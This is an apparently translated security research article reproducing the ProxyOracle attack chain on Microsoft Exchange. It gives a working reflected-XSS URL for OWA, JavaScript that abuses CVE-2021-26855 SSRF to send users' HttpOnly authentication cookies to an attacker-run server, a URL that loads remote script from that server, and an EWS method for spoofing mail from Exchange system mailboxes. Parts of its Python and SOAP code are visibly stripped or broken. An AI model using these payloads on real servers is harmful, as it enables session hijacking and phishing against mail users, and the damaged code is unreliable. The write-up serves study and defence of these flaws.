0x00 Preface

---

Evi1cg and I reproduced the ProxyOracle attack chain. This article only records the details of researching ProxyOracle and analyzes exploitation ideas from a technical research perspective.

0x01 Introduction

---

This article will cover the following:

  • XSS Reproduction
  • HttpOnly Bypass
  • XSS Platform Setup
  • Email Spoofing

0x02 XSS Reproduction

---

Test Environment:

  • Exchange Server IP: 192.168.1.1

After logging in, the user accesses the following link:

https://192.168.1.1/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.cookie)//

Triggers XSS, as shown in the image below

Alt text

However, the desired cookie data cannot be displayed here. The specific names are as follows:

  • cadata
  • cadataTTL
  • cadataKey
  • cadataIV
  • cadataSig

Check the HttpOnly attribute of the above cookies, as shown in the image below

Alt text

It can be seen that the above cookies have the HttpOnly attribute set, which can be used to prevent XSS attacks, as the cookie information cannot be read via JavaScript scripts.

0x03 HttpOnly Bypass

---

To read Cookie information protected by the HttpOnly attribute, we need to leverage an SSRF vulnerability to control the Exchange server and send the Cookie information to our self-built XSS platform.

The following details should be noted:

1. Selection of SSRF vulnerability

(1) CVE-2021-26855

Can access external XSS platforms

Can use AJAX to simulate user requests and trigger the SSRF vulnerability

(2) CVE-2021-28480

Can access external XSS platforms

Cannot use AJAX to simulate user requests and trigger the SSRF vulnerability (cannot modify the X-BackEndCookie in the Cookie)

(3) CVE-2021-34473

Cannot access external XSS platforms

Therefore, the final choice is CVE-2021-26855

2. XSS platform setup

Since we leverage the SSRF vulnerability to control the Exchange server and send the Cookie information to the XSS platform, the desired Cookie information ends up in the Request Headers.

Most existing XSS platforms pass data through parameters in POST requests.

To address this issue, you can choose the XSS platform I previously open-sourced, the address is as follows:

An open-source project

Only need to modify the following locations:

  • Modify index.js to use AJAX to simulate user packet sending and trigger the SSRF vulnerability
  • Modify pyXSSPlatform.py to extract the GET request headers
  • Use a legitimate certificate

index.js code example:

var xmlHttp = new XMLHttpRequest();
xmlhttp.open("GET", "https://192.168.1.1/owa/auth/x.js", false);
document.cookie = "X-AnonResource=true";
document.cookie = "X-AnonResource-Backend=OurXssServer.com/#~1";
xmlhttp.send();

3. XSS exploitation code

Code example for controlling user access to the XSS platform:

https://192.168.1.1/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.head.appendChild(document.createElement(/script/.source)).src=/https:\/\/OurXssServer.com\/index.js/.source//

0x04 Email Spoofing

---

1. Impersonating Exchange Default Users

As mentioned in the previous article "ProxyShell Exploitation Analysis 1—CVE-2021-34473": Through CVE-2021-34473, we can impersonate any user identity to perform EWS call operations.

Additionally, Exchange has the following four default users available:

  • SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}
  • SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}
  • SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}(Exchange 2016 CU8 and later)
  • SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}(Exchange 2016 CU8 and later)

Combining the above information, we can impersonate Exchange default users to send emails, with the corresponding names as follows:

  • SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}: Microsoft Exchange
  • SystemMailbox{e0dc1c29-89c3-4034-b678-e6c29d823ed9}: Microsoft Exchange
  • SystemMailbox{D0E409A0-AF9B-4720-92FE-AAC869B0D201}(Exchange 2016 CU8 and later): E4E Encryption Store - Active
  • SystemMailbox{2CE34405-31BE-455D-89D7-A7C7DA7A0DAA}(Exchange 2016 CU8 and later): Microsoft Exchange

2. Sending Hyperlinks via EWS

Format reference:

https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/createitem-operation-email-message

However, I could not find the format for sending hyperlinks via EWS

Here I obtained the correct SOAP format through packet capture, the method can refer to the previous article 'Penetration Basics - Command Line Implementation for Reading Exchange Emails via Outlook Web Access (OWA)'

Pay attention to the following parts:

  • Using CreateItem to send emails
  • SendOnly indicates sending the email only, without saving
  • BodyType needs to be set to HTML
  • Special attention should be paid to XML escape characters in the body content

Python example code is as follows:

def escape(_str):
_str = _str.replace("&", "&")
_str = _str.replace("<", "<")
_str = _str.replace(">", ">")
_str = _str.replace("\"", """)
return _str

linkData = "Click here"
linkURL = "https://test.com"
payload = "

"

POST_BODY = '''
xmlns:m="https://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="https://schemas.microsoft.com/exchange/services/2006/types">




Test Subject
{payload}


{mailuserTo}







'''

POST_BODY = POST_BODY.format(payload = escape(payload), mailuserTo = "[email protected]")

0x05 Summary

---

For CVE-2021-31195, it can not only be used to obtain user cookie information, but also leverage other XSS exploitation methods, such as screen capture and simulating user requests to modify inbox access permissions.